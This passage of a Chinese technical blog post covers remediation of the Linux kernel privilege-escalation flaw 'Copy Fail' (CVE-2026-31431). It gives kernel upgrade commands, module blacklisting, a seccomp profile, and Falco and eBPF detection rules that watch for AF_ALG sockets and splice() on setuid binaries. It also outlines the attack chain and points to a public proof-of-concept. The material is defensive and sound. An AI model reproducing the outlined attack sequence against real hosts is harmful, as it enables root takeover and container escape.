    print()
    return report["exit_code"]


if __name__ == "__main__":
    sys.exit(main())

保存为 copy_fail_exposure_scanner.py,在每台服务器上以普通用户定期执行,可集成到 Ansible / Prometheus / 安全扫描流程中。


六、完整修复方案:从临时缓解到永久修复

6.1 修复优先级

+-------------------------------------------------------------┐
| P0 (0-12h):云服务器 / 容器宿主机 / CI Runner / OJ 平台      |
| P1 (24h)  :重要生产服务器 / 数据库节点                       |
| P2 (72h)  :开发测试服务器 / 一般 Linux 工作站                |
| P3 (1周)  :个人设备 / 非关键系统                            |
+-------------------------------------------------------------┘

6.2 方案一:内核升级(永久修复)

这是首选方案,一次升级解决根本问题。

# ===== Ubuntu / Debian =====
sudo apt update
sudo apt list --upgradable | grep -i linux
sudo apt full-upgrade -y          # 包含内核更新
sudo apt autoremove -y
sudo reboot

# 验证
uname -r
# 应 >= 6.18.22 或 >= 6.19.12 或 >= 7.0

# ===== RHEL / CentOS / Fedora / Amazon Linux =====
sudo dnf check-update || true
sudo dnf update kernel -y
sudo reboot

# ===== SUSE / openSUSE =====
sudo zypper update -y
sudo reboot

# ===== 确认已安装的安全补丁 =====
# Ubuntu
dpkg -l | grep linux-image | awk '{print $2, $3}'
# 查看安全内核版本号

# RHEL
rpm -qa | grep "^kernel-" | sort -V

内核安全版本对照表:

发行版最低安全版本检查命令
Ubuntu 24.046.17.0-1010+uname -r | grep 6.17
Debian 126.1.82-1~deb12u1+uname -r
RHEL 95.14.0-503.x + 补丁dnf updateinfo list
Amazon Linux 2023最新滚动版本amazon-linux-extras
SUSE 15 SP55.14.21 + 补丁zypper patch --cve

6.3 方案二:禁用 algif_aead 模块(临时缓解,无法升级时使用)

# 1. 永久写入 modprobe 黑名单
# /etc/modprobe.d/algif-aead.conf
echo "install algif_aead /bin/true" | sudo tee /etc/modprobe.d/algif-aead.conf

# 2. 立即卸载(仅对可卸载模块有效)
sudo rmmod algif_aead 2>/dev/null && echo "卸载成功" || echo "已内置或已禁用"

# 3. 验证
lsmod | grep algif_aead && echo "[!] 仍在加载" || echo "[OK] 已禁用"
cat /proc/crypto | grep authencesn && echo "[!] authencesn 仍在" || echo "[OK] authencesn 不可用"

# 4. 兼容性验证(生产环境必须测试)
# 检查是否有合法业务依赖 AF_ALG
sudo lsof 2>/dev/null | grep -i "AF_ALG\|af_alg" || echo "[OK] 无进程使用 AF_ALG"

# 常见的 AF_ALG 用户(应该不受影响):
# - OpenSSL afalg 引擎(影响极小,大多数 OpenSSL 使用默认的 evp 引擎)
# - 用户态 IPsec 工具(strongSwan, LibreSwan)
# - DTLS 应用(WireGuard 使用内核路径,不受影响)

对常见业务的影响评估:

[OK] 不受影响:
  - HTTPS Web 服务器(Nginx, Apache 使用 OpenSSL 用户态加密)
  - SSH 服务器和客户端(OpenSSL/GnuTLS 用户态加密)
  - LUKS/dm-crypt 磁盘加密(内核 dm-crypt 路径,非 AF_ALG)
  - Kubernetes 集群(大多数组件不受影响)
  - Docker 运行时(与 AF_ALG 无关)

[!] 可能受影响(需要测试验证):
  - 显式配置 OpenSSL afalg 引擎的应用
    (编辑 /etc/ssl/openssl.cnf 或通过 OPENSSL_ENGINES 环境变量)
  - 直接使用 Cython/Python AF_ALG 接口的应用
  - IPsec XFRM 层的某些配置(需要确认)

[X] 不应使用 AF_ALG 的场景(本身就是安全风险):
  - 任何处理不可信代码的环境(OJ, CI, 沙箱)

6.4 方案三:seccomp 强制阻断(容器和 CI 环境首选)

seccomp 可以精确控制哪些系统调用可以被调用。通过限制 socket(AF_ALG, ...) 中的 family == 38,可以在容器层面完全阻断 Copy Fail 的第一步。

// /etc/seccomp/blocks/05-block-afalg.json
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "architectures": ["SCMP_ARCH_X86_64", "SCMP_ARCH_AARCH64"],
  "syscalls": [
    {
      "names": ["socket"],
      "action": "SCMP_ACT_ERRNO",
      "errnoRet": 1,
      "args": [
        {
          "index": 0,
          "value": 38,
          "op": "SCMP_CMP_EQ"
        }
      ]
    }
  ]
}
# Docker 使用
docker run \
  --security-opt seccomp=/etc/seccomp/blocks/05-block-afalg.json \
  your-image

# Docker Compose
services:
  app:
    image: your-image
    security_opt:
      - seccomp:/etc/seccomp/blocks/05-block-afalg.json

# Kubernetes Pod Security Standards
apiVersion: v1
kind: Pod
metadata:
  name: secure-app
spec:
  securityContext:
    seccompProfile:
      type: RuntimeDefault
  # 配合 AppArmor/SELinux 强制策略效果更好

七、生产环境 eBPF + Falco 检测方案

7.1 为什么传统监控无效

Tripwire / AIDE  -> 检测磁盘文件变化 -> [X] 无效(只改 page cache)
osquery          -> 查询系统状态   -> [X] 无法检测实时攻击
auditd           -> 记录系统调用   -> [!] 有效,但配置复杂
eBPF + Falco     -> 实时检测攻击   -> [OK] 最佳方案

7.2 Falco 检测规则

# /etc/falco/rules.d/copy-fail-detection.yaml
# 用于检测 Copy Fail 攻击链的可疑行为

- rule: AF_ALG socket created by non-privileged user
  desc: >
    检测普通用户(非 root)创建 AF_ALG socket。
    AF_ALG 是 Copy Fail (CVE-2026-31431) 攻击链的第一步。
  condition: >
    socket.domain = 38
    and user.uid != 0
    and not proc.is_container_engine()
    and not proc.name in (allowed_procs)
  output: >
    AF_ALG socket created by non-root user
    (user=%user.name uid=%user.uid container=%container.name
     image=%container.image.repository proc=%proc.name pid=%proc.pid)
  priority: CRITICAL
  tags: [host, network, CVE-2026-31431, container]
  source: syscall

- rule: splice on setuid binary by non-privileged user
  desc: >
    检测普通用户对 setuid 程序执行 splice()。
    这是 Copy Fail 攻击链的关键步骤之一。
  condition: >
    syscall.splice
    and user.uid != 0
    and fd.name in (
      "/usr/bin/su", "/usr/bin/sudo", "/usr/bin/passwd",
      "/usr/bin/newgrp", "/usr/bin/chfn", "/usr/bin/chsh",
      "/usr/bin/gpasswd", "/bin/su", "/bin/sudo"
    )
    and not container
  output: >
    Suspicious splice() on setuid binary
    (user=%user.name uid=%user.uid proc=%proc.name
     fd=%fd.name target=%fd.name)
  priority: CRITICAL
  tags: [host, filesystem, CVE-2026-31431]
  source: syscall

- rule: AF_ALG + splice combination in container
  desc: >
    容器内同时出现 AF_ALG socket 创建和 splice() 调用。
    高度可疑的 Copy Fail 攻击链行为。
  condition: >
    container
    and socket.domain = 38
    and user.uid != 0
    and proc.is_executing_splice = true
  output: >
    Container AF_ALG + splice combo detected (possible Copy Fail)
    (container=%container.name image=%container.image.repository
     user=%user.name uid=%user.uid proc=%proc.name)
  priority: CRITICAL
  tags: [container, CVE-2026-31431, network]
  source: syscall

7.3 eBPF 监控脚本(高级)

#!/bin/bash
# CVE-2026-31431 eBPF 实时监控脚本
# 需要 bpfcc-tools 或 bpftrace

# 安装依赖
# Ubuntu: sudo apt install bpfcc-tools linux-headers-$(uname -r)
# RHEL:  sudo dnf install bcc-tools kernel-devel

# 监控 AF_ALG socket 创建
echo "监控 AF_ALG socket 创建 (Ctrl+C 退出)..."
sudo /usr/share/bpfcc-tools/trace 'syscalls:sys_enter_socket "AF_ALG socket: pid=%d comm=%s family=%d", pid, comm, args->family' 2>/dev/null | grep "family=38" &

# 监控 splice 系统调用
echo "监控 splice() 调用..."
sudo /usr/share/bpfcc-tools/trace 'syscalls:sys_enter_splice "splice: pid=%d comm=%s fd_in=%d fd_out=%d bytes=%d", pid, comm, args->fd_in, args->fd_out, args->len' 2>/dev/null &

# 监控 execve setuid 程序
echo "监控 setuid 程序执行..."
sudo /usr/share/bpfcc-tools/trace 'syscalls:sys_enter_execve "execve: pid=%d comm=%s filename=%s", pid, comm, args->filename' 2>/dev/null | grep -E "su|sudo|passwd" &

wait

八、为什么这个漏洞值得工程师深入理解

8.1 它重新定义了"内核优化"的风险模型

过去,内核漏洞大多来自内存破坏(越界读写、Use-After-Free、堆溢出)。Copy Fail 属于逻辑缺陷--内核代码逻辑本身是对的,优化也是合理的,问题出在不同子系统交互时产生了设计者未预料的副作用

这类漏洞的特点:

  • 单元测试测不出:authencesn 的 in-place 测试只验证加解密正确性,不验证跨系统副作用
  • 模糊测试测不出:需要特定的 AF_ALG + splice() + page cache 的跨系统调用序列
  • 代码审计是唯一出路:需要懂 crypto + splice + page cache 的复合型安全工程师

8.2 page cache 的共享哲学是双刃剑

Linux 的 page cache 设计哲学是"共享一切能共享的":

  • mmap 共享内存 -> 高性能,但一个进程崩溃可能影响另一个
  • fork 后的写时复制 -> 节省内存,但读共享变为写私有
  • splice 零拷贝 -> 高性能,但 pipe buffer 持有对 page 的引用

Copy Fail 揭示了共享语义的一个隐藏假设:"只有显式写入该 page 的进程才修改它"。但 AF_ALG 的 in-place 解密以"解密输出"的身份写入了 page cache,绕过了这个假设。

8.3 开源生态的安全治理挑战

Copy Fail 是 2026 年内 Linux 内核曝出的第四个本地提权漏洞(与 Dirty Frag、Fragnesia、ssh-keysign-pwn 同批)。这让社区不得不面对一个根本性问题:

内核代码的复杂度已经超出了任何单一 review 团队的理解范围。 2026 年的 Linux 内核有超过 3000 万行代码,10000+ 贡献者,没有人能完整理解整个代码库。

应对之道

  • 形式化验证工具(如 KRF、Symbiotic)在关键 crypto 子系统中的应用
  • 更严格的子系统交叉 review 流程
  • 安全研究员悬赏计划(内核已经是Bug Bounty最丰厚的目标之一)
  • 容器化沙箱的强制使用,限制不可信代码的执行环境

九、完整修复验证清单

#!/bin/bash
# CVE-2026-31431 修复验证脚本(DevOps 可集成到 Ansible / 启动脚本)

set -euo pipefail

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

pass_count=0
fail_count=0
warn_count=0

check() {
    local name="$1"
    local cmd="$2"
    shift 2
    local expected="$@"
    
    result=$(eval "$cmd" 2>/dev/null || echo "ERROR")
    
    if [[ "$result" == "ERROR" ]]; then
        echo -e "${RED}[X] $name: 执行失败${NC}"
        ((fail_count++))
        return
    fi
    
    for exp in "$@"; do
        if [[ "$result" == *"$exp"* ]]; then
            echo -e "${GREEN}[OK] $name: $result${NC}"
            ((pass_count++))
            return
        fi
    done
    
    echo -e "${YELLOW}[!]  $name: $result${NC}"
    ((warn_count++))
}

echo "=========================================="
echo "  CVE-2026-31431 修复验证"
echo "=========================================="
echo

echo "--- [1] 内核版本检查 ---"
KERNEL=$(uname -r)
echo "    内核: $KERNEL"

# 简单判断(实际应按具体版本)
if [[ "$KERNEL" =~ ^(6\.18\.(2[2-9]|[3-9][0-9])|6\.19\.([12][2-9]|[3-9][0-9])|[7-9]\.|[1-9][0-9]\.) ]]; then
    echo -e "${GREEN}[OK] 内核版本在安全范围内${NC}"
    ((pass_count++))
elif [[ "$KERNEL" =~ ^(4\.1[0-3]\.) ]]; then
    echo -e "${RED}[X] 内核版本在受影响范围内!${NC}"
    ((fail_count++))
else
    echo -e "${YELLOW}[!]  无法确认内核安全性,请手动检查${NC}"
    ((warn_count++))
fi
echo

echo "--- [2] algif_aead 模块检查 ---"
if lsmod 2>/dev/null | grep -q algif_aead; then
    if [[ -f /etc/modprobe.d/algif-aead.conf ]]; then
        echo -e "${GREEN}[OK] algif_aead 模块已加载但已禁用(配置文件存在)${NC}"
        ((pass_count++))
    else
        echo -e "${RED}[X] algif_aead 模块已加载且未禁用!${NC}"
        ((fail_count++))
    fi
else
    echo -e "${GREEN}[OK] algif_aead 未作为可加载模块${NC}"
    ((pass_count++))
fi
echo

echo "--- [3] AF_ALG AEAD 可达性检查 ---"
if python3 -c "import socket; s=socket.socket(38,socket.SOCK_SEQPACKET,0); s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')); s.close(); print('REACHABLE')" 2>/dev/null | grep -q "REACHABLE"; then
    if [[ -f /etc/modprobe.d/algif-aead.conf ]] || [[ "$KERNEL" =~ ^(6\.18\.(2[2-9]|[3-9][0-9])|6\.19\.([12][2-9]|[3-9][0-9])|[7-9]\.|[1-9][0-9]\.) ]]; then
        echo -e "${GREEN}[OK] AF_ALG AEAD 可达但内核已修复(可能是 backport 补丁)${NC}"
        ((pass_count++))
    else
        echo -e "${RED}[X] AF_ALG AEAD 可达且内核可能未修复!${NC}"
        ((fail_count++))
    fi
else
    echo -e "${GREEN}[OK] AF_ALG AEAD 当前不可达${NC}"
    ((pass_count++))
fi
echo

echo "--- [4] 禁用配置检查 ---"
if [[ -f /etc/modprobe.d/algif-aead.conf ]]; then
    echo -e "${GREEN}[OK] 禁用配置存在: $(cat /etc/modprobe.d/algif-aead.conf)${NC}"
    ((pass_count++))
else
    echo -e "${YELLOW}[!]  未找到 algif_aead 禁用配置${NC}"
    ((warn_count++))
fi
echo

echo "--- [5] 发行版安全更新检查 ---"
if command -v apt &>/dev/null; then
    UPGRADABLE=$(apt list --upgradable 2>/dev/null | grep -ci "linux\|CVE-2026-31431" || echo 0)
    if [[ "$UPGRADABLE" -gt 0 ]]; then
        echo -e "${RED}[X] 有待安装的内核安全更新${NC}"
        ((fail_count++))
    else
        echo -e "${GREEN}[OK] 无待安装的内核安全更新${NC}"
        ((pass_count++))
    fi
elif command -v dnf &>/dev/null; then
    CVES=$(dnf updateinfo list --cves 2>/dev/null | grep -ci "CVE-2026-31431" || echo 0)
    if [[ "$CVES" -gt 0 ]]; then
        echo -e "${RED}[X] 有待安装的 CVE-2026-31431 相关更新${NC}"
        ((fail_count++))
    else
        echo -e "${GREEN}[OK] 无待安装的 CVE-2026-31431 更新${NC}"
        ((pass_count++))
    fi
fi
echo

echo "=========================================="
echo "  验证结果汇总"
echo "=========================================="
echo -e "  ${GREEN}通过: $pass_count${NC}"
echo -e "  ${YELLOW}警告: $warn_count${NC}"
echo -e "  ${RED}失败: $fail_count${NC}"
echo

if [[ "$fail_count" -gt 0 ]]; then
    echo -e "${RED}[X] 系统仍存在安全风险,请处理失败的检查项${NC}"
    exit 2
elif [[ "$warn_count" -gt 0 ]]; then
    echo -e "${YELLOW}[!]  系统有警告项,建议手动审查${NC}"
    exit 1
else
    echo -e "${GREEN}[OK] 所有检查通过${NC}"
    exit 0
fi

总结

Copy Fail 是近年来最值得工程师深入理解的 Linux 内核漏洞之一。它的可怕之处在于:

  1. 隐蔽性:2017 年引入,2026 年才曝光,9 年间无人发现
  2. 简洁性:732 字节 Python,100% 成功率,不需要任何技巧
  3. 广泛性:影响 2017 年后几乎所有 Linux 发行版,云服务器、容器、CI 无一幸免
  4. 持久性:只篡改 page cache,磁盘文件不变,重启自动恢复,常规监控发现不了
  5. 工程意义:它是 crypto 优化 + splice 零拷贝 + page cache 共享三个正确设计的"交集缺陷"

作为工程师,我们应该从 Copy Fail 学到的五点:

  • 性能优化有代价:减少内存拷贝的优化,可能引入新的攻击面。在内核中,跨系统边界的优化尤其需要系统思维
  • 页缓存共享是双刃剑:Linux 的零拷贝哲学服务于性能,但副作用可能被攻击者利用。理解共享语义的隐含假设是安全编程的基础
  • 安全隔离不等于安全:即使在容器里,也要假设容器可能被攻破。宿主机内核漏洞是最后一道防线,而这道防线在 Copy Fail 面前已千疮百孔
  • 检测能力同等重要:升级内核之外,你需要能检测可疑行为的能力--因为总有系统暂时无法升级
  • 安全是个系统工程:不是简单"升级一下"就能解决的,需要评估、缓解、检测、响应的完整链条

一句话收束:Copy Fail 提醒我们,Linux 内核的安全问题不只是"多线程竞态"或"堆溢出",还可能是"看似正确的优化在子系统边界条件下翻车"。理解了它的原理,你就拥有了在未来识别类似隐患的直觉。


参考资源

  • Theori 官方公告:https://copy.fail/
  • 上游修复补丁:commit a664bf3d603d(回退 2017 年 in-place 优化)
  • NVD:CVE-2026-31431(CVSS 7.8 高危)
  • CERT-EU 安全通报:2026-005
  • 官方 PoC 仓库:https://github.com/theori-io/copy-fail-CVE-2026-31431
  • 各发行版安全公告(Ubuntu USN / Debian DSA / RHEL / SUSE)

附录 A:Copy Fail 与其他 2026 年 Linux 内核高危漏洞横向对比

2026 年被称为 Linux 内核的"漏洞大年"。Copy Fail 并不是孤例--在不到三个月内,社区披露了多个本地提权漏洞,形成了系统性的信任危机。理解它们之间的差异,有助于工程师更全面地评估风险。

A.1 四大内核 LPE 漏洞横向对比

维度Copy FailDirty FragFragnesiassh-keysign-pwn
CVECVE-2026-31431CVE-2026-XXXXXCVE-2026-XXXXXCVE-2026-XXXXX
漏洞类型Crypto API 逻辑缺陷UAPI 内存损坏文件系统竞态SSH 密钥签名
根因In-place 优化跨系统副作用IO_uring fragment 竞态tmpfs mmap 竞态ssh-keysign 整数溢出
影响范围2017+ 全版本特定内核版本特定内核版本OpenSSH 特定版本
PoC 公开[OK] 732 字节 Python[OK][OK][OK]
成功率100%
容器逃逸[OK] 强[OK] 中[!] 弱[X]
修复难度升级内核升级内核升级内核升级 OpenSSH

A.2 为什么 2026 年集中爆发?

根本原因:内核复杂度的自然暴露

Linux 内核在 2026 年的代码量已超过 3300 万行,分布在 60+ 个子系统、10000+ 个内核模块中。当代码库超过一定规模,即使每个子系统的代码质量都很高,子系统之间的交互边界也会成为漏洞的温床。

三个结构性因素

  1. 优化叠加风险:内核追求极致性能,每个子系统都有大量 in-place、零拷贝、共享引用的优化。这些优化在子系统内部是安全的,但在子系统边界上可能产生意外交互
  2. 向后兼容的包袱:内核需要保持数十年跨版本兼容性,很多设计决策是 1990 年代做出的,在现代攻击技术面前可能不再安全
  3. AI 辅助代码审查的双刃剑:AI 加速了代码提交,同时也可能遗漏了跨子系统的边界效应。Copy Fail 的 2017 年 patch 如果有更强的 AI 辅助安全分析,可能会被标记为高风险

A.3 对工程师的实际影响

开发者的教训

# 你以为的安全边界:
def process_user_input(data):
    # 用户输入 -> 验证 -> 加密 -> 发送
    # 假设:加密操作是安全的,因为它在内核里
    
    encrypted = kernel_crypto.encrypt(data)  # 调用 AF_ALG
    return encrypted

# Copy Fail 告诉你:
# "加密" 操作可能把用户输入写回到 page cache
# 而 page cache 里的内容会被 setuid 程序读取
# -> 你的"安全加密"代码成了提权工具

SRE/DevOps 的教训

# 你的安全基线(可能仍然不够):
docker run --rm \
  --security-opt no-new-privileges:true \
  --cap-drop=ALL \
  --read-only \
  --network=none \
  your-sandbox-image

# Copy Fail 告诉你:
# 即使加了所有常规限制,宿主机内核漏洞仍然可以让容器内代码逃逸
# 解决方案只有:
# 1. 升级宿主机内核(必须)
# 2. 使用硬件虚拟化隔离(VM 而非容器)
# 3. 在网络层限制容器的 syscall 能力

附录 B:Copy Fail 对特定技术栈的影响评估

B.1 Kubernetes 集群影响评估

控制平面节点(etcd、API server、controller-manager):

  • 通常以非 root 运行,但拥有高权限 capabilities
  • etcd 使用 mlock 锁定内存,不依赖 AF_ALG
  • API server 通常不需要 crypto API 的 AF_ALG 路径
  • 结论:风险较低,但建议升级

工作节点(kubelet、container runtime):

  • kubelet 通常以 root 运行,是攻击的高价值目标
  • 容器通过 containerd/shim 运行,Copy Fail 可从容器内触发节点逃逸
  • 结论:立即升级工作节点内核,P0

Pod 安全

  • 即使 Pod 配置了 securityContext,Copy Fail 仍可逃逸
  • PodSecurityPolicy / OPA Gatekeeper 限制 syscall 可以缓解
  • 建议:所有 Pod 添加 seccompProfile.type: RuntimeDefault

GitOps 场景

# ArgoCD / Flux 应用的 K8s 集群配置示例
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    # 强制 PodSecurityStandards
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
---
apiVersion: v1
kind: Pod
spec:
  securityContext:
    seccompProfile:
      type: RuntimeDefault
    runAsNonRoot: true
    runAsUser: 10000
    fsGroup: 10000

B.2 AI 编程工具(Cursor / Claude Code / Copilot)影响

AI 编程工具本身不直接使用 AF_ALG,但它们执行的 AI 生成代码可能包含系统调用。

安全沙箱方案

# 如果你在构建 AI 代码执行平台,应该:
# 1. 在 seccomp 配置中阻断 AF_ALG(见 6.4)
# 2. 使用 gVisor 或 Kata Containers 进行硬件级隔离
# 3. 定期扫描容器镜像中的 su/sudo 二进制哈希

# gVisor 配置(推荐用于 AI 代码执行)
docker run --runtime=runsc \
  --security-opt seccomp=seccomp_profile.json \
  your-ai-code-runner

# Kata Containers 配置(更强隔离,但性能损失约 10-20%)
docker run --runtime=kata-runtime \
  your-ai-code-runner

B.3 数据库服务器(PostgreSQL / MySQL / Redis)

数据库服务器通常以专用用户(postgres / mysql / redis)运行,对系统的访问权限极为有限。

Copy Fail 对数据库的影响评估

PostgreSQL:
  - 运行用户:postgres(非 root)[OK]
  - 无 su/sudo 使用场景
  - 无 AF_ALG 调用(使用 OpenSSL 用户态加密)
  - 风险:低
  - 但:如果数据库运行在共享服务器上,
    同一台机器的其他用户可以通过 Copy Fail 提权后攻击数据库

MySQL/MariaDB:
  - 运行用户:mysql(非 root)[OK]
  - 同样无 su/sudo 场景
  - 无 AF_ALG 调用
  - 风险:低(同上)

Redis:
  - 运行用户:redis(非 root)[OK]
  - 纯内存数据库,无磁盘加密场景
  - 风险:极低
  - 但:Redis 所在的服务器如果被提权,Redis 数据面临泄露风险

真正的风险:不是数据库本身被攻击,而是数据库服务器所在的 Linux 主机被提权后,攻击者获得对数据库的 root 访问。


附录 C:内核漏洞治理的长期建议

C.1 内核版本管理策略

企业 Linux 服务器的内核管理

# Ansible playbook 片段:批量内核升级
- name: Upgrade kernel and reboot
  hosts: linux_servers
  become: yes
  vars:
    kernel_upgrade_version: "6.18.22"
    reboot_timeout: 600
  
  tasks:
    - name: Check current kernel version
      command: uname -r
      register: current_kernel
      changed_when: false
    
    - name: Display current kernel
      debug:
        msg: "Current kernel: {{ current_kernel.stdout }}"
    
    - name: Ubuntu - full upgrade
      apt:
        update_cache: yes
        upgrade: full
        autoremove: yes
      when: ansible_os_family == "Debian"
    
    - name: RHEL - kernel update
      dnf:
        name: kernel
        state: latest
        update_cache: yes
      when: ansible_os_family == "RedHat"
    
    - name: Check if reboot needed
      command: needs-restarting -r
      register: needs_reboot
      failed_when: false
      changed_when: false
    
    - name: Reboot if required
      reboot:
        reboot_timeout: "{{ reboot_timeout }}"
        pre_reboot_delay: 30
        post_reboot_delay: 60
      when: needs_reboot.rc != 0
    
    - name: Verify new kernel
      command: uname -r
      register: new_kernel
      changed_when: false
    
    - name: Report kernel upgrade result
      debug:
        msg: "Kernel upgraded: {{ current_kernel.stdout }} -> {{ new_kernel.stdout }}"

C.2 安全监控的成熟度模型

Level 0: 无监控
  - 不知道哪些服务器受影响
  - 不清楚内核版本分布

Level 1: 被动响应
  - CVE 披露后手动检查
  - 依赖人工判断优先级
  - 平均响应时间: 1-7 天

Level 2: 主动扫描(推荐起步)
  - 部署 Ansible/Cron 定期扫描内核版本
  - 集成漏洞扫描器(Qualys, Tenable, OpenVAS)
  - 平均响应时间: 4-24 小时

Level 3: 实时检测(推荐生产)
  - eBPF + Falco 实时监控可疑行为
  - 告警到 Slack/PagerDuty
  - 平均响应时间: 分钟级

Level 4: 主动防御(最佳实践)
  - 内核自我防御:内核模块签名、模块加载策略
  - 自动化补丁验证和回滚机制
  - 硬件虚拟化隔离不可信工作负载
  - 平均响应时间: 接近实时

C.3 容器安全的纵深防御架构

+-------------------------------------------------------------┐
|                    应用层                                   |
|  AppArmor / SELinux 策略(强制访问控制)                     |
|  Seccomp(限制 syscall 白名单)                              |
|  capabilities(最小权限)                                    |
+-------------------------------------------------------------┘
                          v
+-------------------------------------------------------------┐
|                    容器运行时                               |
|  gVisor / Kata Containers(硬件虚拟化隔离)                 |
|  rootless containers(用户命名空间映射)                     |
|  No New Privileges(禁止提权)                              |
+-------------------------------------------------------------┘
                          v
+-------------------------------------------------------------┐
|                    宿主机(工作节点)                        |
|  内核安全更新(最关键!)                                    |
|  内核模块签名(禁止加载未签名模块)                          |
|  BPF JIT hardening                                          |
| 内核参数加固(sysctl)                                      |
+-------------------------------------------------------------┘
                          v
+-------------------------------------------------------------┐
|                    网络层                                   |
|  严格防火墙规则(最小权限)                                  |
|  网络策略(Pod 间隔离)                                      |
|  WireGuard / IPSec(传输加密)                              |
+-------------------------------------------------------------┘

结语:安全的本质是理解边界

Copy Fail 给我的最大启发,不是"赶紧升级内核"这种战术层面的建议,而是战略层面的反思:在 Linux 这个由数千人协作、跨越三十年、运行在数十亿台设备上的复杂系统里,"理解边界"比"打补丁"更重要。

理解边界意味着

  • 理解你的系统的信任边界在哪里:哪些代码可以运行?哪些数据可以被谁访问?
  • 理解你的依赖的安全边界在哪里:Linux 内核是容器最后的防线,但这条防线本身也有漏洞
  • 理解优化的代价边界在哪里:性能优化通常以牺牲安全性或可预测性为代价
  • 理解检测的能力边界在哪里:不是所有攻击都能被监控发现,有些只能预防

作为工程师,我们能做的最务实的事

  1. 建立内核版本台账:知道每台服务器跑什么内核版本,在 CVE 披露后能快速定位受影响范围
  2. 分层防御:不依赖单一安全措施,层层设防,即使一层被突破也有缓冲
  3. 自动化修复:CI/CD 流程中集成内核版本检查,优先于业务部署
  4. 理解而不只是使用:深入理解系统底层原理,才能在新的漏洞出现时快速判断影响面

Copy Fail 不会是最后一个让 Linux 社区头疼的内核漏洞。下一个类似的漏洞出现时,理解了 Copy Fail 原理的工程师,能比其他人快 10 倍判断影响面和修复优先级。

这才是读懂 Copy Fail 的真正价值。


相关阅读推荐

  • 内核 crypto API 设计文档:Documentation/crypto/index.rst
  • AF_ALG 编程接口:Documentation/userspace-api/af_alg.rst
  • splice() 系统调用手册:man 2 splice
  • Theori 关于 Copy Fail 的完整技术报告:https://copy.fail/
  • NVD CVE-2026-31431:https://nvd.nist.gov/vuln/detail/CVE-2026-31431

推荐文章

JavaScript 实现访问本地文件夹
2024-11-18 23:12:47 +0800 CST
一键配置本地yum源
2024-11-18 14:45:15 +0800 CST
Gai:AI 原生的 Go Web 全栈框架
2026-05-21 16:19:43 +0800 CST
Nginx 反向代理 Redis 服务
2024-11-19 09:41:21 +0800 CST
程序员茄子在线接单